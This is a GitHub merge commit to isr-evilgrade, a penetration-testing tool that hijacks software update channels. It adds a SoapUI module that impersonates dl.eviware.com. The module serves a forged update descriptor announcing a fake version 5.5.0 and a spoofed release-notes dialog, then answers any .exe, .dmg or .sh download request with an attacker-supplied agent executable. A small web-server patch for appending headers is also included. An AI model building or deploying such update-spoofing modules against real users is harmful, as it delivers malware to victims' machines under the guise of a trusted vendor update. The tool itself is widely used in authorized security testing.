Merge pull request #21 from stavinski/master

Adding aheader support & new SoapUI module
infobyte · Jan 24, 2018 · 7224cc3 · 7224cc3
2 parents c80707c + 0eeaed9
commit 7224cc3
Show file tree

Hide file tree

Showing 4 changed files with 253 additions and 3 deletions.
diff --git a/include/soapui/soapui_update.xml b/include/soapui/soapui_update.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<updateDescriptor baseUrl="http://dl.eviware.com/soapuios/5.4.0/">
+  <entry targetMediaFileId="23" updatableVersionMin="" updatableVersionMax="" fileName="SoapUI-x32-5.4.0.exe" newVersion="5.5.0" newMediaFileId="23" fileSize="<%AGENTSIZE%>" bundledJre="windows-x86-1.8.0_152" archive="false">
+	<comment language="en">
+		http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html
+	</comment>
+  </entry>
+  <entry targetMediaFileId="196" updatableVersionMin="" updatableVersionMax="" fileName="SoapUI-x32-5.4.0.sh" newVersion="5.5.0" newMediaFileId="196" fileSize="<%AGENTSIZE%>" bundledJre="linux-x86-1.8.0_152" archive="false">
+	<comment language="en">
+		http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html
+	</comment>
+  </entry>
+  <entry targetMediaFileId="198" updatableVersionMin="" updatableVersionMax="" fileName="SoapUI-5.4.0.dmg" newVersion="5.5.0" newMediaFileId="198" fileSize="<%AGENTSIZE%>" bundledJre="macosx-amd64-1.8.0_152" archive="false">
+	<comment language="en">
+		http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html
+	</comment>
+  </entry>
+  <entry targetMediaFileId="1215" updatableVersionMin="" updatableVersionMax="" fileName="SoapUI-x64-5.4.0.exe" newVersion="5.5.0" newMediaFileId="1215" fileSize="<%AGENTSIZE%>" bundledJre="windows-amd64-1.8.0_152" archive="false">
+	<comment language="en">
+		http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html
+	</comment>
+  </entry>
+  <entry targetMediaFileId="4755" updatableVersionMin="" updatableVersionMax="" fileName="SoapUI-x64-5.4.0.sh" newVersion="5.5.0" newMediaFileId="4755" fileSize="148354437" bundledJre="linux-amd64-1.8.0_152" archive="false">
+	<comment language="en">
+		http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html
+	</comment>
+  </entry>
+</updateDescriptor>
diff --git a/include/soapui/update-dialog-os.html b/include/soapui/update-dialog-os.html
@@ -0,0 +1,133 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+    <head>
+        <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+        <title>New SoapUI Version Is Available</title>
+        <meta name="robots" content="noindex,nofollow">
+        <link rel="stylesheet" type="text/css" href="css/styles.css" media="screen" />
+<style>
+
+
+body{
+    background: #ffffff;
+    font-family: Verdana, Geneva, Arial, sans-serif;
+    font-size: 8.5px;
+	color : #3f3f3f;
+}
+
+.wrapper {
+    font-size: 8.5px;
+    margin-bottom: 8px;
+    width: 360px;
+    padding: 20px;
+}
+
+.logos{
+}
+
+img {
+    margin: 0 5px 20px 5px;
+}
+
+h1, h2, h3, h4 {
+    font-family: Arial, Helvetica, sans-serif;
+    margin: 0;
+}
+
+h1 {
+    font-size: 18px;
+    margin: 16px 0 4px 0;
+}
+
+h3 {
+    font-size: 14px;
+    margin-bottom: 4px;
+    margin-top: 16px;
+}
+
+h4 {
+    font-size: 12px;
+}
+
+
+ul {
+    margin: 4px 0px 4px 16px;
+	padding : 0px;
+}
+
+li {
+	line-height: 140%;
+    margin: 8px 0px 8px 12px;
+	padding : 0px;
+}
+
+p {
+    margin: 8px 0px 8px 0px;
+	line-height: 140%;
+}
+
+p.indent{
+	margin-left: 10px;
+	margin-top: 2px;
+}
+
+.pro-note{
+	background-color: #ffffff; /* #eeeeee; */
+	margin-bottom: 8px;
+}
+
+</style>
+    </head>
+
+    <body>
+
+
+			<div class="wrapper">
+
+			<div class="pro-note">
+            <!-- div class="logos">
+                <img style="display:inline-block; vertical-align=middle" src="images/soapui-os-logo.png" alt="SoapUI Open Source"/>
+                <img style="display:inline-block; vertical-align=middle" src="images/soapui-pro-logo.png" alt="SoapUI Pro in ReadyAPI"/>
+            </div -->
+
+			<h4><span style="color: #5eb43a;">SoapUI Open Source</span> and <span style="color: #0071b8;">SoapUI Pro</span></h4>
+
+			<p><b>SoapUI Pro</b> includes extended support for modern technologies (RESTful APIs, OpenAPI and Swagger specs), new test steps and assertions, built-in data generators, and more.</p>
+
+			<p>It is part of the ReadyAPI suite of applications that also offers load and security tests, enhanced web service virtualization.</p>
+
+			<p>Download a free trial of ReadyAPI SoapUI Pro to check how it works for you:</p>
+<p class="indent">&raquo; <b>https://smartbear.com/product/ready-api/soapui/free-trial/</b></p>
+
+			<p>Learn more about SoapUI Pro and other tools of the suite on our web site:</p>
+<p class="indent">&raquo; <b>http://smartbear.com/ready-api</b></p>
+
+			</div>
+
+<h1>SoapUI 5.5 Has Been Released</h1>
+
+	<p>We are happy to announce the immediate availability of SoapUI 5.5.0. This minor update includes &ndash;</p>
+
+	<ul type="disc">
+		<li><b>Updated Apache Commons Collections library.</b> The previous SoapUI versions use the Apache Commons Collections library that has a security vulnerability. SoapUI 5.4 uses a newer version of the library – 3.2.2 – in which the issue is fixed.</li>
+		<li><b>Updated Java version.</b> SoapUI now uses <b>Java 1.8</b>.</li>
+		<li>An improvement by <i>DonnyDepp</i> (GitHub nickname): <b>Thicker window borders</b> which make it easier to resize windows and panels in the product UI.</li>
+	</ul>
+
+<h3>Bug Fixes</h3>
+<ul type="disc">
+<li>A bug fix by <i>vimil</i> (GitHub nickname): When a response returned redirect status codes, SoapUI always simulated a GET request to the new address. Now, if the initial request uses the POST method, SoapUI simulates a POST request.</li>
+</ul>
+
+<h3>Download</h3>
+<p>Click <b>Download and install</b> to update SoapUI Open Source on your computer.</p>
+
+	<p><br/>Happy testing!<br/>
+The SmartBear team</p>
+
+</div>
+    </body>
+</html>
+
+
diff --git a/isrcore/webserver.pm b/isrcore/webserver.pm
@@ -698,10 +698,12 @@ sub getheader {
 
         #    $header .=  "Last-Modified: Sat, 22 Mar 2011 01:38:58 GMT\r\n";
         $header .= "Connection: close \r\n";
-        $header .= "\r\n";
-
-        #TODO: append header "aheader"
+
+        if ( $item->{'aheader'} ) {    # append header detected
+            $header .= $item->{'aheader'};
+        }
 
+        $header .= "\r\n";
     }
 
     return $header;

diff --git a/modules/soapui.pm b/modules/soapui.pm
@@ -0,0 +1,87 @@
+###############
+# soapui.pm
+#
+# Copyright 2018 Mike Cromwell
+#
+# This file is part of isr-evilgrade, www.infobytesec.com .
+#
+# isr-evilgrade is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation version 2 of the License.
+#
+# isr-evilgrade is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with isr-evilgrade; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#
+# '''
+##
+package modules::soapui;
+
+use strict;
+use Data::Dump qw(dump);
+
+my $base = {
+    'name'        => 'Bearsmart SoapUI',
+    'version'     => '1.0',
+    'appver'      => '<= 5.4.0',
+    'author'      => ['Mike Cromwell'],
+    'description' => qq{},
+    'vh'          => '(dl.eviware.com)',
+    'request'     => [
+        {   'req'    => '/version-update/soapui-updates-os.xml',    #regex friendly
+            'type'   => 'file',                  #file|string|agent|install
+            'method' => '',                      #any
+            'bin'    => 0,
+            'string' => '',
+            'parse'  => 1,
+            'file' => './include/soapui/soapui_update.xml'
+        },
+        {   'req'    => '/version-update/versiontracker/update-dialog-os.html',    #regex friendly
+            'type'   => 'file',                  #file|string|agent|install
+            'method' => '',                      #any
+            'bin'    => 0,
+            'string' => '',
+            'parse'  => 0,
+            'file' => './include/soapui/update-dialog-os.html',
+	    'aheader' => "Content-Type: text/html \r\n"
+        },
+        {   'req'    => '(.exe|.dmg|.sh)',               #regex friendly
+            'type'   => 'agent',                     #file|string|agent|install
+            'bin'    => 1,
+            'method' => '',                         #any
+            'string' => '',
+            'parse'  => 0,
+            'file' => './agent/agent.exe'
+        },
+    ],
+
+    #Options
+    'options' => {
+        'agent' => {
+            'val'  => './agent/agent.exe',
+            'desc' => 'Agent to inject (exe, dmg or sh)'
+        },
+        'enable' => {
+            'val'  => 1,
+            'desc' => 'Status'
+        }
+    }
+};
+
+##########################################################################
+# FUNCTION      new
+# RECEIVES
+# RETURNS
+# EXPECTS
+# DOES          class's constructor
+sub new {
+    my $class = shift;
+    my $self = { 'Base' => $base, @_ };
+    return bless $self, $class;
+}
+1;